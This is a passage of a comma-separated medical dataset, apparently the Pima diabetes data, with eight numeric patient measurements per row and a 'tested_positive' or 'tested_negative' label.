0, 40.2, 0.696, 37, tested_negative\n7, 106, 92, 18, 0, 22.7, 0.235, 48, tested_negative\n9, 171, 110, 24, 240, 45.4, 0.721, 54, tested_positive\n7, 159, 64, 0, 0, 27.4, 0.294, 40, tested_negative\n0, 180, 66, 39, 0, 42, 1.893, 25, tested_positive\n1, 146, 56, 0, 0, 29.7, 0.564, 29, tested_negative\n2, 71, 70, 27, 0, 28, 0.586, 22, tested_negative\n7, 103, 66, 32, 0, 39.1, 0.344, 31, tested_positive\n7, 105, 0, 0, 0, 0, 0.305, 24, tested_negative\n1, 103, 80, 11, 82, 19.4, 0.491, 22, tested_negative\n1, 101, 50, 15, 36, 24.2, 0.526, 26, tested_negative\n5, 88, 66, 21, 23, 24.4, 0.342, 30, tested_negative\n8, 176, 90, 34, 300, 33.7, 0.467, 58, tested_positive\n7, 150, 66, 42, 342, 34.7, 0.718, 42, tested_negative\n1, 73, 50, 10, 0, 23, 0.248, 21, tested_negative\n7, 187, 68, 39, 304, 37.7, 0.254, 41, tested_positive\n0, 100, 88, 60, 110, 46.8, 0.962, 31, tested_negative\n0, 146, 82, 0, 0, 40.5, 1.781, 44, tested_negative\n0, 105, 64, 41, 142, 41.5, 0.173, 22, tested_negative\n2, 84, 0, 0, 0, 0, 0.304, 21, tested_negative\n8, 133, 72, 0, 0, 32.9, 0.27, 39, tested_positive\n5, 44, 62, 0, 0, 25, 0.587, 36, tested_negative\n2, 141, 58, 34, 128, 25.4, 0.699, 24, tested_negative\n7, 114, 66, 0, 0, 32.8, 0.258, 42, tested_positive\n5, 99, 74, 27, 0, 29, 0.203, 32, tested_negative\n0, 109, 88, 30, 0, 32.5, 0.855, 38, tested_positive\n2, 109, 92, 0, 0, 42.7, 0.845, 54, tested_negative\n1, 95, 66, 13, 38, 19.6, 0.334, 25, tested_negative\n4, 146, 85, 27, 100, 28.9, 0.189, 27, tested_negative\n2, 100, 66, 20, 90, 32.9, 0.867, 28, tested_positive\n5, 139, 64, 35, 140, 28.6, 0.411, 26, tested_negative\n13, 126, 90, 0, 0, 43.4, 0.583, 42, tested_positive\n4, 129, 86, 20, 270, 35.1, 0.231, 23, tested_negative\n1, 79, 75, 30, 0, 32, 0.396, 22, tested_negative\n1, 0, 48, 20, 0, 24.7, 0.14, 22, tested_negative\n7, 62, 78, 0, 0, 32.6, 0.391, 41, tested_negative\n5, 95, 72, 33, 0, 37.7, 0.37, 27, tested_negative\n0, 131, 0, 0, 0, 43.2, 0.27, 26, tested_positive\n2, 112, 66, 22, 0, 25, 0.307, 24, tested_negative\n3, 113, 44, 13, 0, 22.4, 0.14, 22, tested_negative\n2, 74, 0, 0, 0, 0, 0.102, 22, tested_negative\n7, 83, 78, 26, 71, 29.3, 0.767, 36, tested_negative\n0, 101, 65, 28, 0, 24.6, 0.237, 22, tested_negative\n5, 137, 108, 0, 0, 48.8, 0.227, 37, tested_positive\n2, 110, 74, 29, 125, 32.4, 0.698, 27, tested_negative\n13, 106, 72, 54, 0, 36.6, 0.178, 45, tested_negative\n2, 100, 68, 25, 71, 38.5, 0.324, 26, tested_negative\n15, 136, 70, 32, 110, 37.1, 0.153, 43, tested_positive\n1, 107, 68, 19, 0, 26.5, 0.165, 24, tested_negative\n1, 80, 55, 0, 0, 19.1, 0.258, 21, tested_negative\n4, 123, 80, 15, 176, 32, 0.443, 34, tested_negative\n7, 81, 78, 40, 48, 46.7, 0.261, 42, tested_negative\n4, 134, 72, 0, 0, 23.8, 0.277, 60, tested_positive\n2, 142, 82, 18, 64, 24.7, 0.761, 21, tested_negative\n6, 144, 72, 27, 228, 33.9, 0.255, 40, tested_negative\n2, 92, 62, 28, 0, 31.6, 0.13, 24, tested_negative\n1, 71, 48, 18, 76, 20.4, 0.323, 22, tested_negative\n6, 93, 50, 30, 64, 28.7, 0.356, 23, tested_negative\n1, 122, 90, 51, 220, 49.7, 0.325, 31, tested_positive\n1, 163, 72, 0, 0, 39, 1.222, 33, tested_positive\n1, 151, 60, 0, 0, 26.1, 0.179, 22, tested_negative\n0, 125, 96, 0, 0, 22.5, 0.262, 21, tested_negative\n1, 81, 72, 18, 40, 26.6, 0.283, 24, tested_negative\n2, 85, 65, 0, 0, 39.6, 0.93, 27, tested_negative\n1, 126, 56, 29, 152, 28.7, 0.801, 21, tested_negative\n1, 96, 122, 0, 0, 22.4, 0.207, 27, tested_negative\n4, 144, 58, 28, 140, 29.5, 0.287, 37, tested_negative\n3, 83, 58, 31, 18, 34.3, 0.336, 25, tested_negative\n0, 95, 85, 25, 36, 37.4, 0.247, 24, tested_positive\n3, 171, 72, 33, 135, 33.3, 0.199, 24, tested_positive\n8, 155, 62, 26, 495, 34, 0.543, 46, tested_positive\n1, 89, 76, 34, 37, 31.2, 0.192, 23, tested_negative\n4, 76, 62, 0, 0, 34, 0.391, 25, tested_negative\n7, 160, 54, 32, 175, 30.5, 0.588, 39, tested_positive\n4, 146, 92, 0, 0, 31.2, 0.539, 61, tested_positive\n5, 124, 74, 0, 0, 34, 0.22, 38, tested_positive\n5, 78, 48, 0, 0, 33.7, 0.654, 25, tested_negative\n4, 97, 60, 23, 0, 28.2, 0.443, 22, tested_negative\n4, 99, 76, 15, 51, 23.2, 0.223, 21, tested_negative\n0, 162, 76, 56, 100, 53.2, 0.759, 25, tested_positive\n6, 111, 64, 39, 0, 34.2, 0.26, 24, tested_negative\n2, 107, 74, 30, 100, 33.6, 0.404, 23, tested_negative\n5, 132, 80, 0, 0, 26.8, 0.186, 69, tested_negative\n0, 113, 76, 0, 0, 33.3, 0.278, 23, tested_positive\n1, 88, 30, 42, 99, 55, 0.496, 26, tested_positive\n3, 120, 70, 30, 135, 42.9, 0.452, 30, tested_negative\n1, 118, 58, 36, 94, 33.3, 0.261, 23, tested_negative\n1, 117, 88, 24, 145, 34.5, 0.403, 40, tested_positive\n0, 105, 84, 0, 0, 27.9, 0.741, 62, tested_positive\n4, 173, 70, 14, 168, 29.7, 0.361, 33, tested_positive\n9, 122, 56, 0, 0, 33.3, 1.114, 33, tested_positive\n3, 170, 64, 37, 225, 34.5, 0.356, 30, tested_positive\n8, 84, 74, 31, 0, 38.3, 0.457, 39, tested_negative\n2, 96, 68, 13, 49, 21.1, 0.647, 26, tested_negative\n2, 125, 60, 20, 140, 33.8, 0.088, 31, tested_negative\n0, 100, 70, 26, 50, 30.8, 0.597, 21, tested_negative\n0, 93, 60, 25, 92, 28.7, 0.532, 22, tested_negative\n0, 129, 80, 0, 0, 31.2, 0.703, 29, tested_negative\n5, 105, 72, 29, 325, 36.9, 0.159, 28, tested_negative\n3, 128, 78, 0, 0, 21.1, 0.268, 55, tested_negative\n5, 106, 82, 30, 0, 39.5, 0.286, 38, tested_negative\n2, 108, 52, 26, 63, 32.5, 0.318, 22, tested_negative\n10, 108, 66, 0, 0, 32.4, 0.272, 42, tested_positive\n4, 154, 62, 31, 284, 32.8, 0.237, 23, tested_negative\n0, 102, 75, 23, 0, 0, 0.572, 21, tested_negative\n9, 57, 80, 37, 0, 32.8, 0.096, 41, tested_negative\n2, 106, 64, 35, 119, 30.5, 1.4, 34, tested_negative\n5, 147, 78, 0, 0, 33.7, 0.218, 65, tested_negative\n2, 90, 70, 17, 0, 27.3, 0.085, 22, tested_negative\n1, 136, 74, 50, 204, 37.4, 0.399, 24, tested_negative\n4, 114, 65, 0, 0, 21.9, 0.432, 37, tested_negative\n9, 156, 86, 28, 155, 34.3, 1.189, 42, tested_positive\n1, 153, 82, 42, 485, 40.6, 0.687, 23, tested_negative\n8, 188, 78, 0, 0, 47.9, 0.137, 43, tested_positive\n7, 152, 88, 44, 0, 50, 0.337, 36, tested_positive\n2, 99, 52, 15, 94, 24.6, 0.637, 21, tested_negative\n1, 109, 56, 21, 135, 25.2, 0.833, 23, tested_negative\n2, 88, 74, 19, 53, 29, 0.229, 22, tested_negative\n17, 163, 72, 41, 114, 40.9, 0.817, 47, tested_positive\n4, 151, 90, 38, 0, 29.7, 0.294, 36, tested_negative\n7, 102, 74, 40, 105, 37.2, 0.204, 45, tested_negative\n0, 114, 80, 34, 285, 44.2, 0.167, 27, tested_negative\n2, 100, 64, 23, 0, 29.7, 0.368, 21, tested_negative\n0, 131, 88, 0, 0, 31.6, 0.743, 32, tested_positive\n6, 104, 74, 18, 156, 29.9, 0.722, 41, tested_positive\n3, 148, 66, 25, 0, 32.5, 0.256, 22, tested_negative\n4, 120, 68, 0, 0, 29.6, 0.709, 34, tested_negative\n4, 110, 66, 0, 0, 31.9, 0.471, 29, tested_negative\n3, 111, 90, 12, 78, 28.4, 0.495, 29, tested_negative\n6, 102, 82, 0, 0, 30.8, 0.18, 36, tested_positive\n6, 134, 70, 23, 130, 35.4, 0.542, 29, tested_positive\n2, 87, 0, 23, 0, 28.9, 0.773, 25, tested_negative\n1, 79, 60, 42, 48, 43.5, 0.678, 23, tested_negative\n2, 75, 64, 24, 55, 29.7, 0.37, 33, tested_negative\n8, 179, 72, 42, 130, 32.7, 0.719, 36, tested_positive\n6, 85, 78, 0, 0, 31.2, 0.382, 42, tested_negative\n0, 129, 110, 46, 130, 67.1, 0.319, 26, tested_positive\n5, 143, 78, 0, 0, 45, 0.19, 47, tested_negative\n5, 130, 82, 0, 0, 39.1, 0.956, 37, tested_positive\n6, 87, 80, 0, 0, 23.2, 0.084, 32, tested_negative\n0, 119, 64, 18, 92, 34.9, 0.725, 23, tested_negative\n1, 0, 74, 20, 23, 27.7, 0.299, 21, tested_negative\n5, 73, 60, 0, 0, 26.8, 0.268, 27, tested_negative\n4, 141, 74, 0, 0, 27.6, 0.244, 40, tested_negative\n7, 194, 68, 28, 0, 35.9, 0.745, 41, tested_positive\n8, 181, 68, 36, 495, 30.1, 0.615, 60, tested_positive\n1, 128, 98, 41, 58, 32, 1.321, 33, tested_positive\n8, 109, 76, 39, 114, 27.9, 0.64, 31, tested_positive\n5, 139, 80, 35, 160, 31.6, 0.361, 25, tested_positive\n3, 111, 62, 0, 0, 22.6, 0.142, 21, tested_negative\n9, 123, 70, 44, 94, 33.1, 0.374, 40, tested_negative\n7, 159, 66, 0, 0, 30.4, 0.383, 36, tested_positive\n11, 135, 0, 0, 0, 52.3, 0.578, 40, tested_positive\n8, 85, 55, 20, 0, 24.4, 0.136, 42, tested_negative\n5, 158, 84, 41, 210, 39.4, 0.395, 29, tested_positive\n1, 105, 58, 0, 0, 24.3, 0.187, 21, tested_negative\n3, 107, 62, 13, 48, 22.9, 0.678, 23, tested_positive\n4, 109, 64, 44, 99, 34.8, 0.905, 26, tested_positive\n4, 148, 60, 27, 318, 30.9, 0.15, 29, tested_positive\n0, 113, 80, 16, 0, 31, 0.874, 21, tested_negative\n1, 138, 82, 0, 0, 40.1, 0.236, 28, tested_negative\n0, 108, 68, 20, 0, 27.3, 0.787, 32, tested_negative\n2, 99, 70, 16, 44, 20.4, 0.235, 27, tested_negative\n6, 103, 72, 32, 190, 37.7, 0.324, 55, tested_negative\n5, 111, 72, 28, 0, 23.9, 0.407, 27, tested_negative\n8, 196, 76, 29, 280, 37.5, 0.605, 57, tested_positive\n5, 162, 104, 0, 0, 37.7, 0.151, 52, tested_positive\n1, 96, 64, 27, 87, 33.2, 0.289, 21, tested_negative\n7, 184, 84, 33, 0, 35.5, 0.355, 41, tested_positive\n2, 81, 60, 22, 0, 27.7, 0.29, 25, tested_negative\n0, 147, 85, 54, 0, 42.8, 0.375, 24, tested_negative\n7, 179, 95, 31, 0, 34.2, 0.164, 60, tested_negative\n0, 140, 65, 26, 130, 42.6, 0.431, 24, tested_positive\n9, 112, 82, 32, 175, 34.2, 0.26, 36, tested_positive\n12, 151, 70, 40, 271, 41.8, 0.742, 38, tested_positive\n5, 109, 62, 41, 129, 35.8, 0.514, 25, tested_positive\n6, 125, 68, 30, 120, 30, 0.464, 32, tested_negative\n5, 85, 74, 22, 0, 29, 1.224, 32, tested_positive\n5, 112, 66, 0, 0, 37.8, 0.261, 41, tested_positive\n0, 177, 60, 29, 478, 34.6, 1.072, 21, tested_positive\n2, 158, 90, 0, 0, 31.6, 0.805, 66, tested_positive\n7, 119, 0, 0, 0, 25.2, 0.209, 37, tested_negative\n7, 142, 60, 33, 190, 28.8, 0.687, 61, tested_negative\n1, 100, 66, 15, 56, 23.6, 0.666, 26, tested_negative\n1, 87, 78, 27, 32, 34.6, 0.101, 22, tested_negative\n0, 101, 76, 0, 0, 35.7, 0.198, 26, tested_negative\n3, 162, 52, 38, 0, 37.2, 0.652, 24, tested_positive\n4, 197, 70, 39, 744, 36.7, 2.329, 31, tested_negative\n0, 117, 80, 31, 53, 45.2, 0.089, 24, tested_negative\n4, 142, 86, 0, 0, 44, 0.645, 22, tested_positive\n6, 134, 80, 37, 370, 46.2, 0.238, 46, tested_positive\n1, 79, 80, 25, 37, 25.4, 0.583, 22, tested_negative\n4, 122, 68, 0, 0, 35, 0.394, 29, tested_negative\n3, 74, 68, 28, 45, 29.7, 0.293, 23, tested_negative\n4, 171, 72, 0, 0, 43.6, 0.479, 26, tested_positive\n7, 181, 84, 21, 192, 35.9, 0.586, 51, tested_positive\n0, 179, 90, 27, 0, 44.1, 0.686, 23, tested_positive\n9, 164, 84, 21, 0, 30.8, 0.831, 32, tested_positive\n0, 104, 76, 0, 0, 18.4, 0.582, 27, tested_negative\n1, 91, 64, 24, 0, 29.2, 0.192, 21, tested_negative\n4, 91, 70, 32, 88, 33.1, 0.446, 22, tested_negative\n3, 139, 54, 0, 0, 25.6, 0.402, 22, tested_positive\n6, 119, 50, 22, 176, 27.1, 1.318, 33, tested_positive\n2, 146, 76, 35, 194, 38.2, 0.329, 29, tested_negative\n9, 184, 85, 15, 0, 30, 1.213, 49, tested_positive\n10, 122, 68, 0, 0, 31.2, 0.258, 41, tested_negative\n0, 165, 90, 33, 680, 52.3, 0.427, 23, tested_negative\n9, 124, 70, 33, 402, 35.4, 0.282, 34, tested_negative\n1, 111, 86, 19, 0, 30.1, 0.143, 23, tested_negative\n9, 106, 52, 0, 0, 31.2, 0.38, 42, tested_negative\n2, 129, 84, 0, 0, 28, 0.284, 27, tested_negative\n2, 90, 80, 14, 55, 24.4, 0.249, 24, tested_negative\n0, 86, 68, 32, 0, 35.8, 0.238, 25, tested_negative\n12, 92, 62, 7, 258, 27.6, 0.926, 44, tested_positive\n1, 113, 64, 35, 0, 33.6, 0.543, 21, tested_positive\n3, 111, 56, 39, 0, 30.1, 0.557, 30, tested_negative\n2, 114, 68, 22, 0, 28.7, 0.092, 25, tested_negative\n1, 193, 50, 16, 375, 25.9, 0.655, 24, tested_negative\n11, 155, 76, 28, 150, 33.3, 1.353, 51, tested_positive\n3, 191, 68, 15, 130, 30.9, 0.299, 34, tested_negative\n3, 141, 0, 0, 0, 30, 0.761, 27, tested_positive\n4, 95, 70, 32, 0, 32.1, 0.612, 24, tested_negative\n3, 142, 80, 15, 0, 32.4, 0.2, 63, tested_negative\n4, 123, 62, 0, 0, 32, 0.226, 35, tested_positive\n5, 96, 74, 18, 67, 33.6, 0.997, 43, tested_negative\n0, 138, 0, 0, 0, 36.3, 0.933, 25, tested_positive\n2, 128, 64, 42, 0, 40, 1.101, 24, tested_negative\n0, 102, 52, 0, 0, 25.1, 0.078, 21, tested_negative\n2, 146, 0, 0, 0, 27.5, 0.24, 28, tested_positive\n10, 101, 86, 37, 0, 45.6, 1.136, 38, tested_positive\n2, 108, 62, 32, 56, 25.2, 0.128, 21, tested_negative\n3, 122, 78, 0, 0, 23, 0.254, 40, tested_negative\n1, 71, 78, 50, 45, 33.2, 0.422, 21, tested_negative\n13, 106, 70, 0, 0, 34.2, 0.251, 52, tested_negative\n2, 100, 70, 52, 57, 40.5, 0.677, 25, tested_negative\n7, 106, 60, 24, 0, 26.5, 0.296, 29, tested_positive\n0, 104, 64, 23, 116, 27.8, 0.454, 23, tested_negative\n5, 114, 74, 0, 0, 24.9, 0.744, 57, tested_negative\n2, 108, 62, 10, 278, 25.3, 0.881, 22, tested_negative\n0, 146, 70, 0, 0, 37.9, 0.334, 28, tested_positive\n10, 129, 76, 28, 122, 35.9, 0.28, 39, tested_negative\n7, 133, 88, 15, 155, 32.4, 0.262, 37, tested_negative\n7, 161, 86, 0, 0, 30.4, 0.165, 47, tested_positive\n2, 108, 80, 0, 0, 27, 0.259, 52, tested_positive\n7, 136, 74, 26, 135, 26, 0.647, 51, tested_negative\n5, 155, 84, 44, 545, 38.7, 0.619, 34, tested_negative\n1, 119, 86, 39, 220, 45.6, 0.808, 29, tested_positive\n4, 96, 56, 17, 49, 20.8, 0.34, 26, tested_negative\n5, 108, 72, 43, 75, 36.1, 0.263, 33, tested_negative\n0, 78, 88, 29, 40, 36.9, 0.434, 21, tested_negative\n0, 107, 62, 30, 74, 36.6, 0.757, 25, tested_positive\n2, 128, 78, 37, 182, 43.3, 1.224, 31, tested_positive\n1, 128, 48, 45, 194, 40.5, 0.613, 24, tested_positive\n0, 161, 50, 0, 0, 21.9, 0.254, 65, tested_negative\n6, 151, 62, 31, 120, 35.5, 0.692, 28, tested_negative\n2, 146, 70, 38, 360, 28, 0.337, 29, tested_positive\n0, 126, 84, 29, 215, 30.7, 0.52, 24, tested_negative\n14, 100, 78, 25, 184, 36.6, 0.412, 46, tested_positive\n8, 112, 72, 0, 0, 23.6, 0.84, 58, tested_negative\n0, 167, 0, 0, 0, 32.3, 0.839, 30, tested_positive\n2, 144, 58, 33, 135, 31.6, 0.422, 25, tested_positive\n5, 77, 82, 41, 42, 35.8, 0.156, 35, tested_negative\n5, 115, 98, 0, 0, 52.9, 0.209, 28, tested_positive\n3, 150, 76, 0, 0, 21, 0.207, 37, tested_negative\n2, 120, 76, 37, 105, 39.7, 0.215, 29, tested_negative\n10, 161, 68, 23, 132, 25.5, 0.326, 47, tested_positive\n0, 137, 68, 14, 148, 24.8, 0.143, 21, tested_negative\n0, 128, 68, 19, 180, 30.5, 1.391, 25, tested_positive\n2, 124, 68, 28, 205, 32.9, 0.875, 30, tested_positive\n6, 80, 66, 30, 0, 26.2, 0.313, 41, tested_negative\n0, 106, 70, 37, 148, 39.4, 0.605, 22, tested_negative\n2, 155, 74, 17, 96, 26.6, 0.433, 27, tested_positive\n3, 113, 50, 10, 85, 29.5, 0.626, 25, tested_negative\n7, 109, 80, 31, 0, 35.9, 1.127, 43, tested_positive\n2, 112, 68, 22, 94, 34.1, 0.315, 26, tested_negative\n3, 99, 80, 11, 64, 19.3, 0.284, 30, tested_negative\n3, 182, 74, 0, 0, 30.5, 0.345, 29, tested_positive\n3, 115, 66, 39, 140, 38.1, 0.15, 28, tested_negative\n6, 194, 78, 0, 0, 23.5, 0.129, 59, tested_positive\n4, 129, 60, 12, 231, 27.5, 0.527, 31, tested_negative\n3, 112, 74, 30, 0, 31.6, 0.197, 25, tested_positive\n0, 124, 70, 20, 0, 27.4, 0.254, 36, tested_positive\n13, 152, 90, 33, 29, 26.8, 0.731, 43, tested_positive\n2, 112, 75, 32, 0, 35.7, 0.148, 21, tested_negative\n1, 157, 72, 21, 168, 25.6, 0.123, 24, tested_negative\n1, 122, 64, 32, 156, 35.1, 0.692, 30, tested_positive\n10, 179, 70, 0, 0, 35.1, 0.2, 37, tested_negative\n2, 102, 86, 36, 120, 45.5, 0.127, 23, tested_positive\n6, 105, 70, 32, 68, 30.8, 0.122, 37, tested_negative\n8, 118, 72, 19, 0, 23.1, 1.476, 46, tested_negative\n2, 87, 58, 16, 52, 32.7, 0.166, 25, tested_negative\n1, 180, 0, 0, 0, 43.3, 0.282, 41, tested_positive\n12, 106, 80, 0, 0, 23.6, 0.137, 44, tested_negative\n1, 95, 60, 18, 58, 23.9, 0.26, 22, tested_negative\n0, 165, 76, 43, 255, 47.9, 0.259, 26, tested_negative\n0, 117, 0, 0, 0, 33.8, 0.932, 44, tested_negative\n5, 115, 76, 0, 0, 31.2, 0.343, 44, tested_positive\n9, 152, 78, 34, 171, 34.2, 0.893, 33, tested_positive\n7, 178, 84, 0, 0, 39.9, 0.331, 41, tested_positive\n1, 130, 70, 13, 105, 25.9, 0.472, 22, tested_negative\n1, 95, 74, 21, 73, 25.9, 0.673, 36, tested_negative\n1, 0, 68, 35, 0, 32, 0.389, 22, tested_negative\n5, 122, 86, 0, 0, 34.7, 0.29, 33, tested_negative\n8, 95, 72, 0, 0, 36.8, 0.485, 57, tested_negative\n8, 126, 88, 36, 108, 38.5, 0.349, 49, tested_negative\n1, 139, 46, 19, 83, 28.7, 0.654, 22, tested_negative\n3, 116, 0, 0, 0, 23.5, 0.187, 23, tested_negative\n3, 99, 62, 19, 74, 21.8, 0.279, 26, tested_negative\n5, 0, 80, 32, 0, 41, 0.346, 37, tested_positive\n4, 92, 80, 0, 0, 42.2, 0.237, 29, tested_negative\n4, 137, 84, 0, 0, 31.2, 0.252, 30, tested_negative\n3, 61, 82, 28, 0, 34.4, 0.243, 46, tested_negative\n1, 90, 62, 12, 43, 27.2, 0.58, 24, tested_negative\n3, 90, 78, 0, 0, 42.7, 0.559, 21, tested_negative\n9, 165, 88, 0, 0, 30.4, 0.302, 49, tested_positive\n1, 125, 50, 40, 167, 33.3, 0.962, 28, tested_positive\n13, 129, 0, 30, 0, 39.9, 0.569, 44, tested_positive\n12, 88, 74, 40, 54, 35.3, 0.378, 48, tested_negative\n1, 196, 76, 36, 249, 36.5, 0.875, 29, tested_positive\n5, 189, 64, 33, 325, 31.2, 0.583, 29, tested_positive\n5, 158, 70, 0, 0, 29.8, 0.207, 63, tested_negative\n5, 103, 108, 37, 0, 39.2, 0.305, 65, tested_negative\n4, 146, 78, 0, 0, 38.5, 0.52, 67, tested_positive\n4, 147, 74, 25, 293, 34.9, 0.385, 30, tested_negative\n5, 99, 54, 28, 83, 34, 0.499, 30, tested_negative\n6, 124, 72, 0, 0, 27.6, 0.368, 29, tested_positive\n0, 101, 64, 17, 0, 21, 0.252, 21, tested_negative\n3, 81, 86, 16, 66, 27.5, 0.306, 22, tested_negative\n1, 133, 102, 28, 140, 32.8, 0.234, 45, tested_positive\n3, 173, 82, 48, 465, 38.4, 2.137, 25, tested_positive\n0, 118, 64, 23, 89, 0, 1.731, 21, tested_negative\n0, 84, 64, 22, 66, 35.8, 0.545, 21, tested_negative\n2, 105, 58, 40, 94, 34.9, 0.225, 25, tested_negative\n2, 122, 52, 43, 158, 36.2, 0.816, 28, tested_negative\n12, 140, 82, 43, 325, 39.2, 0.528, 58, tested_positive\n0, 98, 82, 15, 84, 25.2, 0.299, 22, tested_negative\n1, 87, 60, 37, 75, 37.2, 0.509, 22, tested_negative\n4, 156, 75, 0, 0, 48.3, 0.238, 32, tested_positive\n0, 93, 100, 39, 72, 43.4, 1.021, 35, tested_negative\n1, 107, 72, 30, 82, 30.8, 0.821, 24, tested_negative\n0, 105, 68, 22, 0, 20, 0.236, 22, tested_negative\n1, 109, 60, 8, 182, 25.4, 0.947, 21, tested_negative\n1, 90, 62, 18, 59, 25.1, 1.268, 25, tested_negative\n1, 125, 70, 24, 110, 24.3, 0.221, 25, tested_negative\n1, 119, 54, 13, 50, 22.3, 0.205, 24, tested_negative\n5, 116, 74, 29, 0, 32.3, 0.66, 35, tested_positive\n8, 105, 100, 36, 0, 43.3, 0.239, 45, tested_positive\n5, 144, 82, 26, 285, 32, 0.452, 58, tested_positive\n3, 100, 68, 23, 81, 31.6, 0.949, 28, tested_negative\n1, 100, 66, 29, 196, 32, 0.444, 42, tested_negative\n5, 166, 76, 0, 0, 45.7, 0.34, 27, tested_positive\n1, 131, 64, 14, 415, 23.7, 0.389, 21, tested_negative\n4, 116, 72, 12, 87, 22.1, 0.463, 37, tested_negative\n4, 158, 78, 0, 0, 32.9, 0.803, 31, tested_positive\n2, 127, 58, 24, 275, 27.7, 1.6, 25, tested_negative\n3, 96, 56, 34, 115, 24.7, 0.944, 39, tested_negative\n0, 131, 66, 40, 0, 34.3, 0.196, 22, tested_positive\n3, 82, 70, 0, 0, 21.1, 0.389, 25, tested_negative\n3, 193, 70, 31, 0, 34.9, 0.241, 25, tested_positive\n4, 95, 64, 0, 0, 32, 0.161, 31, tested_positive\n6, 137, 61, 0, 0, 24.2, 0.151, 55, tested_negative\n5, 136, 84, 41, 88, 35, 0.286, 35, tested_positive\n9, 72, 78, 25, 0, 31.6, 0.28, 38, tested_negative\n5, 168, 64, 0, 0, 32.9, 0.135, 41, tested_positive\n2, 123, 48, 32, 165, 42.1, 0.52, 26, tested_negative\n4, 115, 72, 0, 0, 28.9, 0.376, 46, tested_positive\n0, 101, 62, 0, 0, 21.9, 0.336, 25, tested_negative\n8, 197, 74, 0, 0, 25.9, 1.191, 39, tested_positive\n1, 172, 68, 49, 579, 42.4, 0.702, 28, tested_positive\n6, 102, 90, 39, 0, 35.7, 0.674, 28, tested_negative\n1, 112, 72, 30, 176, 34.4, 0.528, 25, tested_negative\n1, 143, 84, 23, 310, 42.4, 1.076, 22, tested_negative\n1, 143, 74, 22, 61, 26.2, 0.256, 21, tested_negative\n0, 138, 60, 35, 167, 34.6, 0.534, 21, tested_positive\n3, 173, 84, 33, 474, 35.7, 0.258, 22, tested_positive\n1, 97, 68, 21, 0, 27.2, 1.095, 22, tested_negative\n4, 144, 82, 32, 0, 38.5, 0.554, 37, tested_positive\n1, 83, 68, 0, 0, 18.2, 0.624, 27, tested_negative\n3, 129, 64, 29, 115, 26.4, 0.219, 28, tested_positive\n1, 119, 88, 41, 170, 45.3, 0.507, 26, tested_negative\n2, 94, 68, 18, 76, 26, 0.561, 21, tested_negative\n0, 102, 64, 46, 78, 40.6, 0.496, 21, tested_negative\n2, 115, 64, 22, 0, 30.8, 0.421, 21, tested_negative\n8, 151, 78, 32, 210, 42.9, 0.516, 36, tested_positive\n4, 184, 78, 39, 277, 37, 0.264, 31, tested_positive\n0, 94, 0, 0, 0, 0, 0.256, 25, tested_negative\n1, 181, 64, 30, 180, 34.1, 0.328, 38, tested_positive\n0, 135, 94, 46, 145, 40.6, 0.284, 26, tested_negative\n1, 95, 82, 25, 180, 35, 0.233, 43, tested_positive\n2, 99, 0, 0, 0, 22.2, 0.108, 23, tested_negative\n3, 89, 74, 16, 85, 30.4, 0.551, 38, tested_negative\n1, 80, 74, 11, 60, 30, 0.527, 22, tested_negative\n2, 139, 75, 0, 0, 25.6, 0.167, 29, tested_negative\n1, 90, 68, 8, 0, 24.5, 1.138, 36, tested_negative\n0, 141, 0, 0, 0, 42.4, 0.205, 29, tested_positive\n12, 140, 85, 33, 0, 37.4, 0.244, 41, tested_negative\n5, 147, 75, 0, 0, 29.9, 0.434, 28, tested_negative\n1, 97, 70, 15, 0, 18.2, 0.147, 21, tested_negative\n6, 107, 88, 0, 0, 36.8, 0.727, 31, tested_negative\n0, 189, 104, 25, 0, 34.3, 0.435, 41, tested_positive\n2, 83, 66, 23, 50, 32.2, 0.497, 22, tested_negative\n4, 117, 64, 27, 120, 33.2, 0.23, 24, tested_negative\n8, 108, 70, 0, 0, 30.5, 0.955, 33, tested_positive\n4, 117, 62, 12, 0, 29.7, 0.38, 30, tested_positive\n0, 180, 78, 63, 14, 59.4, 2.42, 25, tested_positive\n1, 100, 72, 12, 70, 25.3, 0.658, 28, tested_negative\n0, 95, 80, 45, 92, 36.5, 0.33, 26, tested_negative\n0, 104, 64, 37, 64, 33.6, 0.51, 22, tested_positive\n0, 120, 74, 18, 63, 30.5, 0.285, 26, tested_negative\n1, 82, 64, 13, 95, 21.2, 0.415, 23, tested_negative\n2, 134, 70, 0, 0, 28.9, 0.542, 23, tested_positive\n0, 91, 68, 32, 210, 39.9, 0.381, 25, tested_negative\n2, 119, 0, 0, 0, 19.6, 0.832, 72, tested_negative\n2, 100, 54, 28, 105, 37.8, 0.498, 24, tested_negative\n14, 175, 62, 30, 0, 33.6, 0.212, 38, tested_positive\n1, 135, 54, 0, 0, 26.7, 0.687, 62, tested_negative\n5, 86, 68, 28, 71, 30.2, 0.364, 24, tested_negative\n10, 148, 84, 48, 237, 37.6, 1.001, 51, tested_positive\n9, 134, 74, 33, 60, 25.9, 0.46, 81, tested_negative\n9, 120, 72, 22, 56, 20.8, 0.733, 48, tested_negative\n1, 71, 62, 0, 0, 21.8, 0.416, 26, tested_negative\n8, 74, 70, 40, 49, 35.3, 0.705, 39, tested_negative\n5, 88, 78, 30, 0, 27.6, 0.258, 37, tested_negative\n10, 115, 98, 0, 0, 24, 1.022, 34, tested_negative\n0, 124, 56, 13, 105, 21.8, 0.452, 21, tested_negative\n0, 74, 52, 10, 36, 27.8, 0.269, 22, tested_negative\n0, 97, 64, 36, 100, 36.8, 0.6, 25, tested_negative\n8, 120, 0, 0, 0, 30, 0.183, 38, tested_positive\n6, 154, 78, 41, 140, 46.1, 0.571, 27, tested_negative\n1, 144, 82, 40, 0, 41.3, 0.607, 28, tested_negative\n0, 137, 70, 38, 0, 33.2, 0.17, 22, tested_negative\n0, 119, 66, 27, 0, 38.8, 0.259, 22, tested_negative\n7, 136, 90, 0, 0, 29.9, 0.21, 50, tested_negative\n4, 114, 64, 0, 0, 28.9, 0.126, 24, tested_negative\n0, 137, 84, 27, 0, 27.3, 0.231, 59, tested_negative\n2, 105, 80, 45, 191, 33.7, 0.711, 29, tested_positive\n7, 114, 76, 17, 110, 23.8, 0.466, 31, tested_negative\n8, 126, 74, 38, 75, 25.9, 0.162, 39, tested_negative\n4, 132, 86, 31, 0, 28, 0.419, 63, tested_negative\n3, 158, 70, 30, 328, 35.5, 0.344, 35, tested_positive\n0, 123, 88, 37, 0, 35.2, 0.197, 29, tested_negative\n4, 85, 58, 22, 49, 27.8, 0.306, 28, tested_negative\n0, 84, 82, 31, 125, 38.2, 0.233, 23, tested_negative\n0, 145, 0, 0, 0, 44.2, 0.63, 31, tested_positive\n0, 135, 68, 42, 250, 42.3, 